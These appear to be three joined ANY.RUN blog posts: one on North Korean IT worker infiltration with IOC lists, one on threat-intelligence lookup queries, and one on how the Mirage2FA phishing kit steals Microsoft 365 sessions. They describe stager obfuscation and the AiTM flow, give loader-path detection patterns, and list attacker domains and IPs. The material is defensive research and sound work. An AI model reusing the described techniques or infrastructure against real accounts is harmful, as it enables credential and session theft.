Recent investigations highlight that this scheme is no longer limited to the private sector, posing a direct threat to government agencies.

Here’s how organizations can defend against this threat effectively.

The Escalating Risk of the DPRK Remote Worker Threat

The primary objective of the DPRK IT worker scheme operated by the Lazarus APT has historically been revenue generation, collectively earning hundreds of millions of dollars annually for the DPRK. However, the threat has escalated from financial fraud to a direct national security concern as these operatives penetrate the U.S. public sector.

The FBI is currently investigating a recent case where an unidentified U.S. federal agency unknowingly hired a North Korean remote IT worker. Last year, an individual who facilitated a North Korean national’s work on software development contracts for the Federal Aviation Administration (FAA) received a prison sentence. Such breaches grant unauthorized actors access to sensitive government systems and proprietary data.

The full lifecycle, tools, and operational methods of these infiltrators were exposed in a comprehensive two-part joint investigation conducted by BCA LTD, NorthScan, and ANY.RUN.

• In Part 1, researchers gained unprecedented access by posing as facilitators, deploying custom ANY.RUN sandbox environments disguised as developer laptops to record every click, command, and network connection executed by the operatives in real time.
• In Part 2, the team went a step further by establishing a simulated Web3 startup, tracking how Famous Chollima operatives collaborate, manage candidate pipelines, share infrastructure, and attempt to embed whole networks of “ghost developers” into target companies.

How DPRK IT worker scheme Operatives Hijack the Personnel Supply Chain

As demonstrated in the investigations, threat actors combine stolen identities and artificial intelligence to infiltrate organizations.

Watch the video on YouTube and read the full investigation

Security experts describe this phenomenon as a critical risk within the personnel supply chain. While companies traditionally focus on defending against external attackers, the North Korean IT worker fraud flips this model by getting hired.

A DPRK IT worker functions as a “Trojan horse,” obtaining legitimate credentials, access to internal networks, and corporate resources. This creates a unique insider threat:

• Persistent Access to Critical Infrastructure: Unlike traditional cyberattacks that are brief and noisy, an employee is expected to remain in the system, allowing months or years of continuous access to source code and intellectual property.
• Malicious Influence on Decision-Making: Once embedded, operatives can influence critical engineering decisions, review code, and approve pull requests, potentially introducing intentional vulnerabilities.
• Legitimate Cover: By maintaining a facade of productivity, operatives generate legitimate salaries while gathering intelligence and staging future cyberattacks.

Actionable Steps for SOCs to Detect North Korea Remote IT Workers Infiltration Early

Standard background checks, especially automated ones, are insufficient to ensure DPRK IT worker detection.

Defending against this requires SOC and recruitment teams to adopt a technical vetting model that treats hiring as an attack vector.

Spot Mass Outreach and GitHub Exploitation Tactics

The initial stage of the North Korean scheme often begins with wide-scale recruitment efforts targeting developers on platforms like Telegram and GitHub.

A highly specific tactic involves recruiters spamming GitHub repositories with fraudulent job offers. These messages are often delivered as pull requests directly on a developer’s own repositories, making them difficult to ignore.

Recruiters seek individuals who appear to have experience working with US companies, offering them “partnerships” where they can increase their income by attending interviews on behalf of the operative.

Eliminate Rogue Team Leads from the Hiring Process

Famous Chollima operations often rely on a key team lead (a “horse trader” or agency manager) who acts as the primary point of contact to build trust and scale their footprint inside targeted organizations:

• Beware of “Bring Your Own Team” Offers: A single lead will apply for or land a role, establish rapport with hiring managers, and then offer to recruit, manage, or refer additional developers. Under the guise of a turnkey contracting team, this facilitator brings in multiple North Korean operatives using fake or stolen identities.
• Enforce Direct, Individual Vetting: Never permit a single contractor, agency manager, or team lead to bypass individual KYC/background checks for their referred developers. Every individual applicant must undergo separate, direct identity verification and technical assessment.

Safely Triage Applicant Files and Links with a Sandbox

Your Security Operations Center (SOC) must actively participate in the vetting process by validating suspicious candidate deliverables before finalizing a hire.

Applicants routinely submit portfolios, code archives, or external links during technical assessments. Opening these directly on internal corporate workstations exposes the network to staging malware (such as OtterCookie, InvisibleFerret, and PyLangGhost RAT).

Integrating ANY.RUN’s Interactive Sandbox into the technical vetting and SOC triage and response workflows provides critical security value and operational efficiency:

• Uncover Evasive Phishing & Malware in under 60 seconds: Automated tools often miss stealthy malware that requires human interaction. ANY.RUN allows analysts to actively interact with the candidate’s files and URLs in real time, clicking links and triggering behaviors that reveal hidden payloads.
• Ensure Early-Stage Attack Vector Neutralization: Proactive analysis of suspicious objects sent by candidates enables SOC teams to identify malicious intent early and prevent threat actors from ever obtaining legitimate corporate credentials, company laptops, or access to sensitive infrastructure.

Inspect Applicant Documents for AI Artifacts and Forensic Inconsistencies

North Korean operatives frequently submit manipulated identity documents containing digital creation fingerprints.

Investigations show forged licenses often contain metadata proving processing via AI tools like Google Gemini, or feature embedded SynthID watermarks.

Analyze candidate data for geographic discrepancies (e.g., claiming residence in Texas while presenting a California driver’s license and a New York bank account). Forensic analysis often reveals stolen authentic photos re-used across multiple applications.

Monitor for AI-Assisted and Suspicious Live Behavior

Apart from North Korean IT worker AI-generated personas, operatives rely heavily on live translation and dynamic AI prompt generators.

Watch the video on YouTube and read the full investigation

Watch for off-screen glances, unusual delays before answering technical queries, or physical distractions. In recorded instances, operatives faked medical emergencies or prolonged coughing fits to avoid speaking when translation tools failed.

Trace Mule Accounts and Cryptocurrency Infrastructure

Salary exfiltration relies on complex networks of mule accounts, payment intermediaries, and digital wallets designed to route funds back to the DPRK.

Always verify that the account holder’s name on banking or crypto payment details matches the verified candidate’s identity. Operatives frequently request payroll transfers to third-party accounts, domestic facilitators, or mule accounts tied to stolen Social Security Numbers (SSNs) and completely different names.

To bypass traditional banking compliance and international sanctions, operatives push to receive compensation or transfer funds through non-custodial wallets or exchange wallets on platforms.

Analyze Network Markers: Proxies, VPNs, and Jump Boxes

To maintain the illusion of being local U.S. residents, North Korean IT worker tactics involve multi-layered networking designed to hide their origin.

During the BCA LTD, NorthScan, and ANY.RUN investigation, researchers successfully exposed operatives’ true locations by asking candidates to scan a QR code during a live interview to access a coding test. Embedded Canary Tokens silently recorded the candidates’ actual IP addresses, User-Agents, and geolocation data, completely bypassing active VPNs like AstrillVPN.

SOC and recruiting teams should closely monitor candidate connectivity and verify real network locations wherever possible:

• Track network telemetry, User-Agent strings, and IP locations during video calls, technical assignments, or onboarding tasks to flag proxies and VPN exit nodes.
• Enforce strict policies against commercial VPN services (e.g., AstrillVPN) commonly used by Famous Chollima operatives to spoof major U.S. exit nodes.

DPRK IT Worker IOCs

• IPv4: 89[.]187[.]185[.]11 // DPRK-operated VPS
• IPv4: 45[.]77[.]71[.]42 // DPRK-operated VPS
• IPv4: 185[.]152[.]67[.]39 // DPRK-operated VPS
• IPv4: 104[.]250[.]148[.]58 // AstrillVPN exit node
• IPv4: 192[.]200[.]115[.]226 // AstrillVPN exit node
• IPv4: 107[.]150[.]38[.]250 // AstrillVPN exit node
• IPv4: 206[.]217[.]134[.]34 // AstrillVPN exit node
• IPv4:199[.]168[.]112[.]175 // AstrillVPN exit node
• 0x8953B9661339a48f4E6408aA1B359CD49F3A6CAd
• 0xA3D6938f152C47A411263573Bb3AF324C25A8eba
• 0xB26A7C7EA6D75956EbD8c5D294524903b1cf13D0

Keep Defenses Updated with Fresh Threat Intelligence

While North Korean IT worker schemes primarily rely on identity fraud and social engineering, their operations heavily overlap with broader state-sponsored campaigns run by North Korean APT groups (such as Lazarus / Famous Chollima).

Threat actors routinely reuse command-and-control (C2) infrastructure, staging servers, malware delivery domains, and phishing URLs across both cyber espionage and remote worker infiltration schemes.

SOC analysts can collect context on indicators from alerts like URLs, file hashes, mutexes, or proactively gather actionable intel on active threats using ANY.RUN’s Threat Intelligence Lookup.

Powered by real-time telemetry contributed by over 16,000 organizations and 700,000 security professionals worldwide, TI Lookup instantly cross-references indicators against known Lazarus/Famous Chollima malware samples (such as BeaverTail or InvisibleFerret), phishing infrastructure, and active C2 servers.

For example, running a query like threatName:”lazarus” reveals numerous indicators belonging to the latest malware campaigns run by Lazarus like TigerRAT and others. SOC teams can use these indicators to enrich their defense systems to identify attacks early and prevent an incident.

Security teams can also ingest continuously updated Threat Intelligence Feeds directly into their SIEM, EDR, and perimeter firewalls. By feeding real-time network indicators (IPs, domains, URLs) gathered from global investigations directly into your security stack, your SOC can automatically block malicious connections and prevent unauthorized data exfiltration.

Conclusion

The North Korean IT worker scheme represents a unique hybrid threat, combining traditional human infiltration, social engineering, identity fraud, and software supply chain risk. Defensive strategies that focus strictly on traditional malware detection are insufficient when an attacker holds valid credentials, corporate devices, and a legitimate seat on your engineering team.

Protecting your organization requires aligning HR, recruiting, and SOC workflows. By enforcing strict identity verification, monitoring candidate connection telemetry, running interactive file/link sandboxing during technical assessments, and feeding real-time Threat Intelligence into your security stack, companies and government agencies can stop Famous Chollima operatives before they gain a permanent foothold.

About ANY.RUN

ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions, trusted by more than 16,000 organizations and over 700,000 security professionals worldwide.

Its Interactive Sandbox enables SOC teams, MSSPs, and threat researchers to analyze malware, suspicious files, URLs, and candidate deliverables in controlled, live virtual environments. By offering full behavioral visibility in under 60 seconds, ANY.RUN helps analysts observe execution chains, capture network traffic, and make fast, confident response decisions.

Additionally, ANY.RUN Threat Intelligence aggregates real-time indicators from global investigations. This allows security teams to enrich local SIEM/EDR alerts, uncover shared adversary infrastructure, and stay ahead of evolving APT tactics, phishing campaigns, and insider threat schemes.

Frequently Asked Questions (FAQ)

The post North Korean IT Workers Scheme: Detection IOCs and Tactics for Government and Corporate SOCs appeared first on ANY.RUN's Cybersecurity Blog.

ANY.RUN Threat Intelligence has the answer.

Threat Intelligence: Thinking Ahead

It doesn’t take much to start a threat hunt. One suspicious indicator or an artifact – and the investigation is launched. But moving from the initial lead to realizing how it can be used to support malware & phishing defenses is often a long journey. Threat Intelligence Lookup changes that.

It’s designed to shorten the path from a suspicious signal to validated findings, ready to be used for proactive security: from testing a hunting hypothesis and uncovering related infrastructure to expanding detection coverage.

ANY.RUN gives threat hunters access to intelligence grounded in real-world threat data from investigations by 16,000+ SOC teams within a single environment, allowing you to:

• search for known observables

• investigate related technical context

• examine malicious behavior and infrastructure

• narrow the results to the evidence relevant to your hunt

Doing this manually across disconnected sources would stretch every step of the investigation, making it easier to miss useful relationships. One day, this might mean missing a critical risk.

To prevent that, ANY.RUN Threat Intelligence helps security teams:

• Investigate threats faster: Move from an initial indicator to relevant context without spending as much time manually correlating fragmented data.

• Build stronger hunting hypotheses: Use behavioral, network, and infrastructure intelligence to validate assumptions and identify additional leads.

• Collect actionable observables: Identify relevant IOCs for retrospective hunting, blocking, enrichment, and further investigation in SIEM, NDR, and other security systems.

• Improve detection coverage: Turn investigation findings into inputs that Detection & Security Engineering teams can use to develop or expand detections.

• Streamline threat hunting workflows: Reduce reliance on individual analysts manually piecing together threat context, helping SOC teams make investigations and handoffs more consistent.

For threat hunters, that means less time assembling context and more time testing hypotheses and uncovering malicious activity. For CISOs and SOC leaders, it means a more repeatable process for turning threat intelligence into security outcomes, from investigation and escalation to detection and response.

The value of threat intelligence is in how quickly your team can turn indicators into evidence, decisions, and better protection.

What does that look like in an actual investigation?

Use Case #1. Finding Infrastructure Shared by Threats

You’ve identified a threat relevant to your organization and are approaching the final stage of the investigation: turning the findings into a set of actionable indicators that can be handed off to the detection & security engineering team.

For that, you need to identify IP addresses and domains associated with VPS or hosting providers that also have a negative reputation. These observables can reveal infrastructure used to support malicious activity and provide additional coverage beyond the indicators that initially led to the threat.

Start with a known threat

Build a query in Threat Intelligence Lookup using a wildcard (*) to capture variations in Suricata messages and find URL activity related to Tycoon2FA without relying on an exact message string:

suricataMessage:”tycoon*url”

View Connections tab listing all related domains, IPs, and URLs. It helps you realize which indicators are connected to each other:

Connections show observable relationships in ANY.RUN data to help you build and validate a hypothesis. Threat Intelligence Lookup

Narrow down the relevant observables

Whitelisted indicators are hidden by default, so the data you see is already pre-filtered to help you maintain focus on more relevant connections. Additionally, you can apply the Malicious filter and export the results as JSON.

Check the underlying infrastructure

If a URL is malicious, but its IP appears benign, this probably means that a shared infrastructure is being used, such as a CDN or reverse proxy. For example:

Cloudflare AS13335 — Captcha Reverse Proxy / Gateway

https://ipinfo[.]io/188[.]114[.]97[.]3

If both the URL and IP are marked malicious, this most likely points to VPS or hosting infrastructure used by threat actors, for example:

HostPapa AS36352 — VPS Service

https://ipinfo[.]io/23[.]94[.]153[.]149

Put the findings to work

The resulting IOC set can be now used for retrospective hunting in SIEM/NDR to identify previous activity involving the same infrastructure, as well as for blocking on perimeter firewalls to reduce the risk of further communication with known suspicious infrastructure.

Use Case #2. Validating Threat Hunting Hypotheses

While working with a TI Report or an Interactive Sandbox analysis session, you notice that after downloading the payload, the malware established a C2 connection over the non-standard port 1337. Based on that, you come up with a hypothesis: all samples with similar behavior may be tied to common infrastructure.

To confirm or disprove this hypothesis, you need to start with a Threat Intelligence Lookup query for the observed behavior, in this case, MITRE T1105 and destination port 1337.

You can use AI-powered search and just list the desired TTP and port number without using proper syntax:

MITRE:”T1105″ AND destinationPort:”1337″

Explore the related infrastructure

In Connections, you can see the number of unique addresses, their reputation, geographic context (in CN tab marking the country of submission), and potential C2 infrastructure:

To confirm or disprove the hypothesis, all you need to do is collect network IOCs and check them in your corporate SIEM. From the results, you can make an evidence-based conclusion.

Pivot to Interactive Sandboxing

To further validate your hypothesis, open the Analyses tab and review related sandbox sessions. Select a sample to see how the attack unfolds and compare its behavior with the activity you initially observed.

One of the samples in our TI Lookup results leads to a Sandbox analysis of a malicious script delivered via a user-opened ZIP file. Here, we can see the attack unfold — from scheduled-task persistence to system enumeration and potential data exfiltration.

View analysis

Submitting your findings

If your hypothesis was confirmed, pass the findings and context to the detection & security engineering team to create new detection rules. They will contribute to your organization’s proactive security posture.

Use Case #3. Reverse URL Search Across Domain Patterns

We investigate phishing campaigns. We’re particularly interested in domains related to brands, CTAs, and social engineering elements.

When investigating phishing campaigns, you may need to find domains related to brands, CTAs, and social engineering elements.

You also need to enrich them with context to understand which URLs were observed, which IPs they resolved to, their reputation, and finally, which IOCs can be used to expand detection coverage.

This may sound like a lot, but with TI Lookup, this can be done fast.

Build a query for the required threat, for example, DocuSign-related activity:

domainName:”docusign*share”

And you can check the dedicated Domains, URLs, and IPs tabs to explore related observables.

To see connections between them, click Show relations for a full breakdown:

This significantly accelerates the search and analysis of related IOCs by bringing the relevant network context into a single workflow.
Use the relevant IOCs to expand detection coverage and support further investigation of the phishing campaign.

Use Case #4. For DFIR Analysts: Gathering C2 Infrastructure of Mirai

The alert triage team has passed you a confirmed incident related to Mirai. Your goal is to collect additional IOCs, find related URLs and IPs, and determine the scale of the threat.

Once again, you start the investigation with what’s known. Browse the confirmed threat in TI Lookup to find relevant threat intelligence and associated infrastructure:

threatName:”^mirai$”

Narrow down the result by applying the Malicious filter:

Collect the clean list of observables, including related URLs and IP addresses, and export the results:

Pass the resulting IOC set to the detection & security engineering team for retrospective hunting and to expand threat detection coverage.

The team now has all data needed to update playbooks and detection rules based on collective threat intelligence from 16K+ SOC teams.

Operational Impact for Security Teams

• Reduce manual investigation effort by spending less time switching between sources and correlating network infrastructure data.

• Move faster from intelligence to action by turning TI findings into observables ready for retrospective hunting, blocking, or handoff to detection & security engineering.

• Make investigations more consistent and repeatable by bringing relationships, reputation data, and filtering into a unified workflow with exportable results.

• Streamline cross-team handoffs by reducing the need to recollect and repackage data between threat hunting, DFIR, and detection engineering teams.

• Increase team throughput by enabling analysts to handle more investigations without a proportional increase in manual effort.

Conclusion

Effective threat intelligence and proactive threat hunting are about turning threat data into action. With ANY.RUN Threat Intelligence, security teams can investigate malware and phishing activity, validatehunting hypotheses, uncover related infrastructure, collect actionable IOCs, and use those findings to strengthen detection and response.

About ANY.RUN

ANY.RUN fits into modern SOC workflows, integrating with existing security processes and supporting operations across teams. This includes safely detonating files and URLs to expose malicious behavior, enriching investigations with broader threat intelligence, and applying continuously updated intelligence to support faster, more informed decisions.

Today, more than 700,000 security professionals and 16,000 organizations use ANY.RUN to accelerate investigations, reduce unnecessary escalations, and strengthen their defenses against evolving malware and phishing threats.

For the latest threat research, real-world attack analysis, and investigation insights, follow ANY.RUN on LinkedIn and X.

FAQ

The post Hunt Malware & Phishing Threats with ANY.RUN for Proactive Enterprise Security appeared first on ANY.RUN's Cybersecurity Blog.

ANY.RUN research shows that 63.7% of identified victims are in the US, with Technologies, Manufacturing, and Education among the most targeted industries. The operation has generated thousands of compromise events between 2024 and 2026, including stolen session cookies, passwords, and SSO access.

Once an authenticated Microsoft 365 session is hijacked, attackers may gain access to corporate email, sensitive data, and trusted business accounts, creating a path for impersonation, fraud, and further compromise. Detecting the attack before stolen sessions are reused can help security teams contain account takeover earlier and reduce the potential business impact.

Key Takeaways

• Mirage2FA bypasses conventional MFA to hijack active Microsoft 365 sessions. The PhaaS toolkit uses an Adversary-in-the-Middle (AiTM) flow to capture credentials, 2FA codes, and authenticated session cookies.

• Mirage2FA activity was linked to 3,518 unique organization email domains, showing the campaign’s broad reach across US and EU corporate environments.*

• The kit shows a high potential compromise rate. Of 9,426 unique targeted email addresses, 4,532 were potentially compromised — about 48%.*

• The US is the main victim market. 2,885 victims, or 63.7% of the total, were located in the United States, while victim activity was recorded across 94 countries.

• Session theft is the most common compromise outcome. The dataset contains 9,332 potential compromise events, including 4,561 cookie-theft events, 3,044 password/2FA events, 1,339 SSO logins, and 388 other outcomes.*

• Mirage2FA relies on browser-based delivery rather than binary malware. .htm, .xhtml, and .svg stagers, QR codes, JavaScript obfuscation, and WebSocket-based AiTM activity allow the attack to run largely inside the browser.

• Mobile users make up a significant share of successful activity. 33.3% of successful login events came from mobile devices, where phishing pages can be harder to inspect due to limited URL visibility.

• Recurring technical patterns remain useful even as infrastructure changes. The /xls/*.js loader structure, and LINX* markers provide hunting opportunities beyond individual domains and IP addresses.

Note: All victim, compromise, and campaign-scale figures in this report are approximate estimates based on the available dataset and represent potential impact rather than independently confirmed compromises.

Read Complete Mirage2FA Research in TI Reports

Get a detailed version of the report for SOC and MSSP teams:

• A complete list of IOCs
• Additional info on Mirage2FA
• Access to other reports

Available for users with ANY.RUN TI Core and Complete plans. See details →

Explore full report

Mirage2FA Overview

Mirage2FA is a commercial phishing-as-a-service offering aimed at compromising corporate Microsoft 365 accounts and active sessions (session cookies) while bypassing two-factor authentication. The operator distributes malicious attachments that execute in the victim’s browser and silently fetch harvesting logic from a C2, proxying the login/2FA flow in real time (AiTM).

Business impact can include:

• Identity-driven access risk: Stolen sessions can give attackers trusted access to Microsoft 365 and connected cloud services.

• Fraud and impersonation exposure: Compromised accounts can be used to target employees, customers, suppliers, or finance teams.

• Higher containment costs: Session theft often requires more than a password reset, increasing response effort and investigation scope.

• Greater blast radius: One compromised identity can create follow-on access across email, SSO-connected apps, and internal workflows.

• Control gaps despite MFA: Successful AiTM attacks can expose weaknesses in authentication and session-management strategies.

Where Mirage2FA Hits Hardest: Targeted Industries, Regions, and Compromise Outcomes

Mirage2FA activity increased sharply throughout 2026, while victim data shows a clear concentration in the United States and in industries that depend heavily on Microsoft 365 for daily operations.

By the time data collection ended in July 2026, 445 Mirage2FA sandbox sessions had already been recorded for the month. Although the dataset does not cover the full month, the volume of observed activity confirms that Mirage2FA remained active during the reporting period.

Mirage2FA Activity Increased Sharply in 2026

ANY.RUN recorded a steady rise in Mirage2FA sandbox activity from March through July 2026:

Technology, MSSPs, and Manufacturing Face the Highest Exposure

Mirage2FA activity spans multiple industries, but ANY.RUN telemetry shows a higher concentration in several sectors:

Successful Microsoft 365 account takeover in these environments can expose more than one mailbox. Compromised identities may provide access to customer communications, internal documents, cloud applications, supplier relationships, or privileged workflows, increasing the potential impact of a single successful phishing attempt.

63.7% of Identified Victims Are in the United States

Mirage2FA shows a strong concentration in the United States, which accounts for 2,885 victims, or 63.7% of the total. Victim activity was also observed in India, Singapore, the United Kingdom, Canada, Saudi Arabia, South Africa, and other countries.

This distinction matters: sandbox submissions reflect where analysts encounter and investigate samples, not necessarily where the attackers are finding victims. The compromise data shows that Mirage2FA is particularly focused on US organizations, with Singapore also showing disproportionately high victim activity compared with its share of submissions.

Session Theft Is the Most Common Compromise Outcome

The open-source dataset records 9332 successful compromise events across several outcomes:

Session-cookie theft was the most common result, accounting for more than half of all recorded compromise events.

How Mirage2FA Attacks Organizations: The Full Attack Flow

To see how Mirage2FA moves from a phishing message to Microsoft 365 account takeover, you can check its behavior in an ANY.RUN sandbox session. The attack takes place almost entirely in the browser, using malicious attachments, remote JavaScript, and an AiTM proxy to intercept authentication in real time.

Here is how the compromise unfolds:

View analysis session with Mirage2FA

1. Delivery: A phishing email delivers a malicious .htm, .xhtml, or .svg attachment, or directs the victim to a QR-code link. Mirage2FA campaigns have also been distributed at scale through Amazon SES. (MITRE T1566.001 / T1566.002)

2. Execution: The victim opens the attachment, causing the browser to execute the embedded stager. (T1204.002)

3. Client-side staging: Obfuscated HTML smuggling or an SVG inline script decodes and executes in the browser. The stager reads a per-recipient token: the victim’s email, Base64-encoded as LINXB64EMAIL. (T1027 / T1027.006)

4. Loader retrieval: The stager retrieves the harvesting logic from a remote loader using the /xls/<token>.js pattern. (T1105)

5. AiTM presentation: The victim is shown a fake Microsoft 365 login page backed by an Adversary-in-the-Middle reverse proxy.

6. Credential and 2FA capture: The victim enters their username, password, and one-time 2FA code into the phishing page.

7. Real-time relay: Mirage2FA relays the authentication data to the legitimate Microsoft 365 service over a WebSocket channel. Once authentication succeeds, the proxy receives a valid authenticated session, effectively bypassing MFA. (T1557 / T1111)

8. Session theft: The authenticated session cookies, together with captured credentials, are exfiltrated to the operator panel. Mirage2FA stores the stolen cookies as Base64-encoded .txt dumps. (T1539)

9. Account takeover: The attacker can reuse the stolen session to access the victim’s Microsoft 365 account, read email, and impersonate the user without having to enter the password or complete MFA again. (T1539 / T1071.001)

What Mirage2FA Attachments Look Like

Mirage2FA relies on browser-executed XHTML, .htm, and SVG attachments. Each acts as a stager, carrying a recipient-specific token such as LINXB64EMAIL, LINXEMAIL, or LINXCODERSEMAIL and retrieving the harvesting logic from the remote /xls/<token>.js loader.

Across the samples analyzed, .htm was the dominant format:

• 629 .htm samples: 176 plain, 453 obfuscated

• 198 XHTML samples: 167 plain, 31 obfuscated

• 187 SVG samples: 175 plain, 12 obfuscated

Notably, the campaign uses .htm rather than .html, and researchers observed no binary malware in this dataset.

The attack is carried out through browser-readable files and JavaScript, making inspection of suspicious web attachments and their runtime behavior especially important.

How Mirage2FA Stagers Hide Their Activity

Although the attachments serve the same purpose, Mirage2FA uses several techniques to hide the redirect and loader logic from users and security controls.

XHTML: Non-Obfuscated (Dynamic Iframe + Remote Loader)

The page builds a full-screen iframe, writes a document into it, and injects an external script (a1p2i.js). The token is read from the ?ref= query parameter, defaulting to the placeholder LINXB64EMAIL.

XHTML: Obfuscated (Hex-String Decoder)

The obfuscated XHTML variant hides its logic behind a hex-to-string decoder (rsy) and reads the token from ?sdv= or the URL fragment, defaulting to LINXEMAIL.

HTML (.htm): Non-Obfuscated (Remote-Loader Stub)

The plainest HTML stager is a two-line loader: it sets the recipient token (uid) and pulls the remote harvesting script. This is the same /api/xls/a1p2i.js loader used by the XHTML variant, on a different domain.

HTML (.htm): Obfuscated (XOR + Base64 + eval)

The obfuscated HTML variant is self-contained: Base64-decodes a blob, XORs each byte with the key 0xAD (173), then evals the resulting source. The token placeholder is exposed as RSTRING2.

SVG: Non-Obfuscated (Inline-Script Redirect)

The SVG payload abuses the <script> element permitted in standalone SVG documents. On open, it navigates the browser directly to the phishing URL, passing the recipient token via a query parameter (LINXB64EMAIL).

SVG: Obfuscated (obfuscator.io _0x Wrapper)

A minority of SVGs (12 unique) wrap the same redirect in an <html><body><svg> shell and an obfuscator.io-style string-array decoder to conceal the destination.

Behavior Observed in the Sandbox

Across 1,249 Mirage2FA sandbox sessions, dominant behaviors included phishing, obfuscated JavaScript, and WebSocket activity linked to the toolkit’s real-time AiTM channel. Researchers also observed IP and browser fingerprinting, QR-code delivery, and Amazon SES activity.

Network Infrastructure

In total, we identified the entire cluster using a single Threat Intelligence Lookup query. This dataset is clearly visible in the new Connections block: all links, domains, and IP addresses, along with their reputations, are now in one place.

TI Lookup query: url:”/???/xls/?????*.js$”

The dataset is substantial. Therefore, the decision was made to proceed as follows: for each link X, take the malicious script M, deobfuscate it, and extract all the malicious links. To illustrate, we present the results of our work using a section of the interconnection graph.

Each script contained its own link to a PHP endpoint for data exfiltration and CAPTCHA solving. However, this endpoint had another feature: an open WebDAV/Opendir server. This feature allowed us to enrich the cluster data, significantly expanding our statistics.

Nevertheless, let us first describe what our sandbox has managed to discover over time.

C2 / loader (ANY.RUN):

• IP 185.174.100.224: ASN as-colocrossing.

• Domains: user.cheacker.store (TL2), hvr.volatilesour.store (TL2), ver.bandhiem.com (TL0), pynutech.store and others.

• Loader pattern: https://<host>/<3-letter-code>/xls/<token>.js — routing codes (api, ulr, eor, pxk, dsk, ncb, tsk, clr, vtk, bmr, …) match the paths seen in the SVG redirects; token suffixes: c2v, cpt, or none. Canonical endpoint: /api/xls/a1p2i.js.

Network signatures:

• GET /*/xls/*.js requests to *.cheacker.store / *.volatilesour.store (path regex: /[a-z]{3}/xls/[a-z0-9]+(?:c2v|cpt)?\.js. OR /???/xls/?????*.js$).

• DNS query of the form <base64>.cheacker.store, where the label decodes to an email address.

• Outbound WebSocket to the C2 after the loader executes (AiTM proxy).

Cluster Expansion

Operator infrastructure: IP activity

Drawing on data from open sources and information gathered during the study of the cluster, we began analyzing the developer’s characteristic patterns and the list of potential victims.

While analyzing the messages sent by the Mirage2FA, we observed a consistent pattern: the substring “LINX” (LinxCode, Linx…) is used pervasively by the author and sometimes appears as a placeholder in request parameters. We hypothesize that the author used this method to test their own infrastructure. Below is a list of the IP addresses from which the author conducted these tests.

How Mirage2FA Has Evolved

Mirage2FA has changed significantly since it was first observed in 2024, while retaining several recognizable patterns.

• Build markers: LINXCODERSEMAIL → LINXEMAIL → LINXB64EMAIL, followed by markers such as #LINXMASKEMAIL, #LINXRANDSTRING, and linxz.

• JavaScript obfuscation: plain loaders evolved into XOR + Base64 + eval, hex-based decoders, and obfuscator.io-style _0x wrappers. Obfuscation was most common in .htm samples, appearing in 453 of 629.

• Delivery methods: the operation expanded beyond .htm, .xhtml, and .svg attachments to include QR-code lures and Amazon SES distribution. HR and 401(k) benefits appeared repeatedly as lure themes.

• C2 structure: Mirage2FA introduced more /\<code\>/xls/*.js routes and token variations while rotating domains over time.

Attribution

The cluster we expanded is highly likely to be the Mirage2FA phishkit, given the observed similarities in indicators and URL patterns with another research. To this attribution, we add our own patterns (see the IOCs section for details) and the specific characteristics of the utility’s author.

• Brand/operator: LinX Coders. Corroborated by the placeholder LINXCODERSEMAIL (the substitution variable name), the bot names linxlogsss…bot / linxxlogss…bot, and the channel LinXcoded. Moreover, there is a bot to your subscription account and it’s still active (see below)

• Operator cross-bot test IPs (dry-run kit submissions where the email equals a placeholder):

• 185[.]174[.]100[.]20: 13 tests across 3 distinct bots, 2024-10 to 2025-09;

• 185[.]174.[.]00[.]76: 4 tests across 4 bots, 2025-02 to 03;

• 139[.]28[.]36[.]38: 4 tests across 3 bots (2025-02).

• Link to C2: The C2 185[.]174[.]100[.]224 is in the same subnet 185[.]174[.]100[.]0/24 and provider AS-Colocrossing. A single range serving both bot deployment/testing and the production loader points to centralized author/seller infrastructure.

• Continuity: bot 7010301660 links the 2024–2025 tests to the 2026 lure activity.

Caveat. IP/geo in the open-source collection come from the panel’s own self-logging (VPN/spoofing possible); the most reliable signal is IP reuse across multiple bots together with the subnet match against an independent source (ANY.RUN).

How Organizations Can Reduce the Risk from Mirage2FA

By stealing active Microsoft 365 sessions, Mirage2FA can give attackers access even after MFA has been completed. Defending against it means covering the whole path from the phishing email to session theft and account takeover.

Strengthen Email and Browser Controls

Block or quarantine .htm, .xhtml, and .svg attachments where possible, and add detection for HTML smuggling, attc-html, and obfuscated-js characteristics.

Security teams should also pay closer attention to suspicious QR-code campaigns and email delivered through services such as Amazon SES, especially when they contain browser-executed attachments.

Unknown files should be opened only in an isolated environment. ANY.RUN’s Interactive Sandbox can show what the attachment actually does, including JavaScript execution, redirects, fingerprinting, loader activity, WebSocket connections, and fake Microsoft 365 login pages.

Move Beyond Traditional MFA

Mirage2FA can intercept passwords and one-time 2FA codes in real time, which means conventional MFA alone may not be enough.

Organizations should move high-risk users toward phishing-resistant MFA such as FIDO2/WebAuthn and passkeys, particularly administrators, executives, finance teams, and other accounts with access to sensitive systems or business processes.

Shorter session lifetimes, token binding, and Continuous Access Evaluation in Microsoft Entra ID can also reduce the window in which a stolen authenticated session remains useful.

Detect Mirage2FA Behavior, Not Just Known IOCs

Domains and IP addresses can change quickly, so detection should not depend on static indicators alone.

SOC teams should alert on requests matching patterns such as /<3char>/xls/*.js, DNS queries where a Base64-encoded email address appears as a subdomain label, and outbound WebSocket connections to unknown hosts shortly after a JavaScript loader is fetched.

Fresh Threat Intelligence Feeds, built from real-world threat data contributed by 16,000 organizations and 700,000 security professionals, can push known malicious infrastructure into SIEM, EDR, firewalls, and other existing security controls. Behavioral detections can then provide coverage as Mirage2FA rotates domains, paths, and infrastructure.

Expand the Investigation with Threat Intelligence

One malicious attachment may be part of a much larger campaign.

Analysts can use ANY.RUN Threat Intelligence Lookup to pivot from a suspicious URL, domain, IP, or loader pattern to related infrastructure, previous sandbox sessions, and other connected activity.

TI Lookup: url:”/???/xls/?????*.js$”

This approach played an important role in the Mirage2FA investigation itself. Researchers followed the characteristic /xls/*.js loader pattern and used it to uncover a broader cluster instead of treating each phishing sample as a separate incident.

Hunt for Mirage2FA Across the Environment

Threat hunting should focus on recurring Mirage2FA patterns across mail gateways, proxy logs, EDR telemetry, and browser activity.

Useful hunting points include LINX* placeholder strings, /xls/*.js loader paths, suspicious HTML attachments, Base64-encoded recipient data, and WebSocket traffic following browser-executed JavaScript.

Findings from these hunts can then be checked against current threat intelligence and expanded further through TI Lookup.

Treat Session Theft as an Identity Incident

If Mirage2FA successfully steals a session cookie, resetting the user’s password may not be enough.

Response teams should revoke all active sessions and tokens, review Microsoft 365 mail-forwarding rules, check OAuth grants, and investigate activity performed through the compromised identity.

The goal is to remove the attacker’s access completely; not just change the credential they may no longer need.

Conclusion

